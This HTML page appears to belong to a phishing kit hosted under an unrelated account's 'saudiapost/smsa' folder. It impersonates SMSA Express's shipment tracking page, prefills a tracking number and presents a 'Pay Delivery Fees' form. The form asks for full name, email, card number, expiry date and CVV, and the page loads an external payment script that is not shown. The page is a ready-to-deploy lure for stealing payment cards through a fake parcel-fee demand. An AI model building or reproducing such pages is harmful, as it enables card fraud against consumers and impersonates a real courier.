/home2/mshostin/public_html/saudiapost/smsa/index.html
<!DOCTYPE html>
<html lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<meta http-equiv="x-ua-compatible" content="ie=edge" />
<title>Shipment Details | SMSA Express</title>
<link href="https://fonts.googleapis.com/css2?family=Segoe+UI:wght@300;400;500;600;700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="css/header.css">
<link rel="stylesheet" href="css/style.css">
<style>
.st0 {
fill: #00C8E1;
stroke: #00C8E1;
stroke-miterlimit: 10;
}
.st1 {
fill: #153C3F;
stroke: #153C3F;
stroke-miterlimit: 10;
}
.btn-gray:hover {
background: #eee;
}
dt {
font-weight: 500;
}
</style>
</head>
<body>
<div class="page-wrap">
<div class="header_wrapper">
<!-- TOP BAR -->
<div class="top_bar">
<div class="container flex_me">
<div class="col">
<ul class="navTop">
<li id="individual"><a href="/en/">Individuals</a></li>
<li id="enterprise"><a href="/en/enterprise">Enterprise</a></li>
<li id="government"><a href="/en/government">Government</a></li>
</ul>
</div>
<div class="col">
<div class="help_dropdown">
<a href="#" class="onMobile_view">Help</a>
<div>
<span>Help and Support</span>
<ul>
<li><a href="/en/faq/">FAQ</a></li>
<li><a href="/en/customer-service/">Customer Service</a></li>
</ul>
</div>
</div>
<a href="#branches" title="Branches" class="desktop_view" id="scrollToBranch"><img src="/Design/images/branch_icon.svg" alt=""></a>
<button type="button" title="Search" class="search_btn desktop_view btn-srch"><img src="/Design/images/search_icon.svg" alt=""></button>
<a class="nav-link switchLang" href="index_ar.html">عربي</a>
<div class="search_box">
<form id="search" name="search" action="/en/search" method="get">
<button type="button" class="close bg-transparent border-0"></button>
<div class="search_field">
<span>Search the website...</span>
<input name="q" aria-label="Search" type="text" id="search_cssw" placeholder="Search..." value="" autocomplete="off">
<button type="submit"><img src="/Design/images/arrow_icon_white.svg" alt=""></button>
</div>
</form>
</div>
</div>
</div>
</div>
<!-- MAIN HEADER -->
<header>
<div class="container flex_me">
<div class="col flex_me append_menu">
<a href="/en/" class="logo"><img src="images/Logo.svg" alt="SMSA Express"></a>
<ul id="menu" class="menuIndividual">
<li class="menuMobile">
<span>Individuals</span>
</li>
<li>
<a href="#sending">Sending</a>
</li>
<li>
<a href="#receiving">Receiving</a>
</li>
<li>
<a href="#alami">Alami</a>
</li>
<li>
<a href="#national-address">National Address</a>
</li>
<li>
<a href="#retail-services">Retail Services</a>
</li>
<li>
<a href="#financial-services">Financial Services</a>
</li>
<li>
<a href="#stamps">Stamps</a>
</li>
</ul>
</div>
<div class="col justify_end">
<a href="#login">Log in</a>
<a href="#signup" class="sign_up_link">Sign Up</a>
</div>
</div>
</header>
<!-- BREADCRUMB -->
<div class="breadcrumb">
<div class="container flex_me">
<a href="index.html" class="breadcrumb-home">
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 25 27.421">
<path d="M7.071,24V16.8h7.857V24H22V8.8L11,0,0,8.8V24Z" transform="translate(1.5 1.921)" fill="none" stroke="#146e82" stroke-miterlimit="10" stroke-width="3"/>
</svg>
</a>
<span class="breadcrumb-separator">›</span>
<span>Shipment Details</span>
</div>
</div>
</div>
<!-- MAIN CONTENT -->
<div class="container">
<!-- ALERT BOX -->
<div id="alert-box" class="alert"></div>
<!-- TRACK YOUR SHIPMENT SECTION -->
<div class="track-section">
<h1 class="track-title">
Track Your Shipment
<span class="info-icon" title="Enter your tracking number to track your shipment">ℹ</span>
</h1>
<p class="track-description">Enter one or more tracking numbers.</p>
<form class="track-form" onsubmit="return false;">
<input
type="text"
id="tracking-input"
class="track-input"
placeholder="e.g XHSNF74652HBL"
autocomplete="off"
value="XHSNF74652HBL"
>
<button type="button" id="btn-track" class="btn-track">Track</button>
</form>
<p class="track-note">Separate tracking numbers with a <strong>Space</strong> to view shipments status</p>
</div>
<!-- TRACKING RESULTS SECTION -->
<div id="tracking-results" class="tracking-results">
<div class="shipment-info">
<div class="info-item">
<span class="info-label">Parcel From</span>
<span class="info-value" id="source">-</span>
</div>
<div class="info-item">
<span class="info-label">Tracking Number</span>
<span class="info-value" id="tracking-number">-</span>
</div>
<div class="info-item">
<span class="info-label">Destination</span>
<span class="info-value" id="destination">-</span>
</div>
<div class="info-item">
<span class="info-label">Service Used</span>
<span class="info-value" id="service-type">-</span>
</div>
</div>
<div class="status-message" id="status-message">-</div>
<div class="info-item" style="margin-bottom: 30px;">
<span class="info-label">Estimated Delivery Date</span>
<span class="info-value" id="estimated-date">-</span>
</div>
<h3 style="font-size: 18px; font-weight: 700; margin-bottom: 20px; color: #333;">Tracking Timeline</h3>
<div class="tracking-timeline" id="timeline">
<!-- Timeline items will be inserted here by JavaScript -->
</div>
</div>
<!-- PAYMENT SECTION -->
<div id="payment-section" class="payment-section">
<h2 class="payment-title">Pay Delivery Fees</h2>
<div id="payment-alert-box" class="alert"></div>
<div class="payment-amount">
<div class="amount-label">Total Amount Due</div>
<div class="amount-value" id="payment-amount">SAR 0.00</div>
</div>
<form id="payment-form" class="payment-form">
<div class="form-group">
<label class="form-label">Tracking Number</label>
<input
type="text"
id="tracking-number-payment"
class="form-input"
readonly
name="tracking_number"
>
</div>
<div class="form-group">
<label class="form-label">Delivery Fee</label>
<input
type="text"
id="delivery-fee"
class="form-input"
readonly
name="delivery_fee"
>
</div>
<div class="form-group">
<label class="form-label">Full Name</label>
<input
type="text"
id="card-name"
class="form-input"
placeholder="John Doe"
name="card_name"
required
>
</div>
<div class="form-group">
<label class="form-label">Email Address</label>
<input
type="email"
id="email"
class="form-input"
placeholder="john@example.com"
name="email"
required
>
</div>
<div class="form-group">
<label class="form-label">Card Number</label>
<input
type="text"
id="card-number"
class="form-input"
placeholder="1234 5678 9012 3456"
maxlength="19"
name="card_number"
required
>
</div>
<div class="form-row">
<div class="form-group">
<label class="form-label">Expiry Date</label>
<input
type="text"
id="expiry-date"
class="form-input"
placeholder="MM/YY"
maxlength="5"
name="expiry_date"
required
>
</div>
<div class="form-group">
<label class="form-label">CVV</label>
<input
type="text"
id="cvv"
class="form-input"
placeholder="123"
maxlength="4"
name="cvv"
required
>
</div>
</div>
<button type="submit" class="btn-submit">Pay Now</button>
</form>
</div>
</div>
</div>
<!-- SCRIPTS -->
<script src="js/tracking.js"></script>
<script src="js/payment_flow.js"></script>
</body>
</html>